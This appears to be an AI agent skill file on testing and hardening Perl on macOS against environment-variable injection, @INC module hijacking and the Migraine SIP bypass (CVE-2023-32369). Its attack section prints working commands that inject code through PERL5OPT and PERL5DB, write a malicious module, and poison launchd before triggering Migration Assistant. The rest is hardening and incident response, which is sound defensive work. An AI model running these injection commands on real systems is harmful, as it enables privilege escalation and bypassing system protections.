macOS Perl Injection & Hardening

A skill for security professionals to test, analyze, and harden Perl applications on macOS against environment variable injection and privilege escalation attacks.

When to Use This Skill

Use this skill when:

• Testing macOS systems for Perl-based privilege escalation vectors
• Auditing Perl applications for environment variable injection risks
• Investigating CVE-2023-32369 (Migraine) vulnerability status
• Hardening macOS systems against Perl injection attacks
• Analyzing

  PERL5OPT

  ,

  PERL5LIB

  ,

  PERL5DB

  environment variable risks
• Checking

  @INC

  path for writable module directories
• Reviewing launchd/cron configurations for Perl interpreter exposure

Safety & Ethics

This skill is for authorized security testing only.

• Only test systems you own or have explicit written authorization to test
• Document all findings and remediate vulnerabilities discovered
• Never use these techniques on production systems without proper change management
• Understand that some techniques require root access and may trigger TCC prompts

Core Attack Vectors

1. PERL5OPT Environment Variable Injection

The

PERL5OPT

variable allows arbitrary Perl code execution before the target script runs.

How it works:

• Perl reads

  PERL5OPT

  at interpreter startup
• Content is executed as Perl code before parsing the target script
• Can execute

  system()

  calls, load modules, or run arbitrary code

Test command:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl

Module-based injection:

# Create malicious module
cat > /tmp/pmod.pm << 'EOF'
package pmod;
system('whoami');
1;
EOF

# Load via PERL5LIB + PERL5OPT
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl

2. PERL5DB Debugger Injection

When Perl runs with

-d

flag,

PERL5DB

content executes in debugger context.

Requirements:

• Must control both environment AND command-line flags
• Target process must be started with

  -d

  switch
• Common in maintenance/installer scripts with verbose debugging

Test command:

export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl

3. @INC Path Module Hijacking

Perl searches

@INC

paths for modules. Writable paths before protected ones enable module hijacking.

Check @INC paths:

perl -e 'print join("\n", @INC)'

Typical macOS 13/14 output:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30

Vulnerability:

/Library/Perl/5.30

exists, is NOT SIP-protected, and appears BEFORE protected

/System/Library

paths.

Attack scenario:

1. Gain root access
2. Write malicious module to

   /Library/Perl/5.30/File/Basename.pm

3. Any script using

   use File::Basename;

   loads attacker code first

Warning: macOS shows TCC prompt for Full Disk Access when writing to

/Library/Perl

.

4. CVE-2023-32369 "Migraine" SIP Bypass

Vulnerability:

systemmigrationd

daemon has

com.apple.rootless.install.heritable

entitlement. Child processes inherit this and run outside SIP restrictions.

Affected versions: macOS before Ventura 13.4, Monterey 12.6.6, Big Sur 11.7.7

Exploitation flow:

# As root, poison environment
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'

# Trigger systemmigrationd to spawn Perl
open -a "Migration Assistant.app"
# Or programmatically:
# /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility

Result:

/usr/bin/perl

executes with malicious

PERL5OPT

in SIP-less context, allowing:

• Writing to

  /System/Library/LaunchDaemons

• Setting

  com.apple.rootless

  extended attributes
• Any other SIP-restricted operations

Testing Procedures

Quick Environment Check

Run the helper script to assess current Perl environment:

./scripts/check-perl-env.sh

This checks:

• Current

  PERL5OPT

  ,

  PERL5LIB

  ,

  PERL5DB

  values

• @INC

  paths and their writability
• Perl version and taint mode status
• System version for CVE-2023-32369 applicability

Module Hijacking Test

./scripts/test-inc-paths.sh

This identifies writable paths in

@INC

that could be exploited.

CVE-2023-32369 Status Check

./scripts/check-migraine-vuln.sh

Determines if the system is vulnerable to the Migraine SIP bypass.

Hardening Recommendations

1. Clear Dangerous Environment Variables

Privileged processes should start with pristine environments:

# For launchd jobs, add to plist:
<key>EnvironmentVariables</key>
<dict>
  <key>PERL5OPT</key>
  <string></string>
  <key>PERL5LIB</key>
  <string></string>
  <key>PERL5DB</key>
  <string></string>
</dict>

# Or explicitly unset:
launchctl unsetenv PERL5OPT
launchctl unsetenv PERL5LIB
launchctl unsetenv PERL5DB

# For cron jobs, use env -i:
env -i /usr/bin/perl /path/to/script.pl

2. Use Taint Mode for Privileged Scripts

Add

-T

flag to force taint checking, which ignores unsafe switches:

#!/usr/bin/perl -T
use strict;
use warnings;
# ... rest of script

Or in shebang:

#!/usr/bin/perl -T -w

3. Avoid Running Interpreters as Root

• Use compiled binaries when possible
• Drop privileges early in scripts
• Run interpreters as unprivileged users with minimal permissions

4. Keep macOS Updated

CVE-2023-32369 is patched in:

• macOS Ventura 13.4+
• macOS Monterey 12.6.6+
• macOS Big Sur 11.7.7+

5. Monitor @INC Paths

Regularly audit

@INC

paths for writable directories:

perl -e 'for $p (@INC) { print "$p: ", (-d $p ? "exists" : "missing"), "\n" }'

6. Restrict /Library/Perl Access

• Set restrictive permissions on

  /Library/Perl

• Monitor for unauthorized writes
• Consider using filesystem-level protections

Common Use Cases

Security Audit Checklist

1. Check all

   PERL5OPT

   ,

   PERL5LIB

   ,

   PERL5DB

   values in launchd/cron
2. Audit

   @INC

   paths for writable directories
3. Verify macOS version against CVE-2023-32369
4. Review all Perl scripts run as root
5. Check for

   -d

   flag usage in privileged scripts
6. Verify taint mode on sensitive scripts
7. Test module loading with controlled environment

Incident Response

If you suspect Perl injection:

1. Check current environment variables:

   env | grep -i perl
   

2. Review recent writes to

   /Library/Perl

   :

   ls -la /Library/Perl/5.30/
   

3. Check for suspicious launchd configurations:

   launchctl list | grep -i perl
   

4. Review system logs for Migration Assistant activity:

   log show --predicate 'process == "MigrationAssistant"' --last 24h
   

References

• Microsoft Security Blog – "New macOS vulnerability, Migraine, could bypass System Integrity Protection" (CVE-2023-32369), May 30 2023
• Hackyboiz – "macOS SIP Bypass (PERL5OPT & BASH_ENV) research", May 2025
• Apple Security Updates for macOS Ventura, Monterey, Big Sur

Helper Scripts

This skill includes the following scripts in

scripts/

:

• check-perl-env.sh

  - Comprehensive Perl environment assessment

• test-inc-paths.sh

  - Identify writable @INC paths

• check-migraine-vuln.sh

  - CVE-2023-32369 vulnerability check

• audit-launchd-perl.sh

  - Find Perl processes in launchd configurations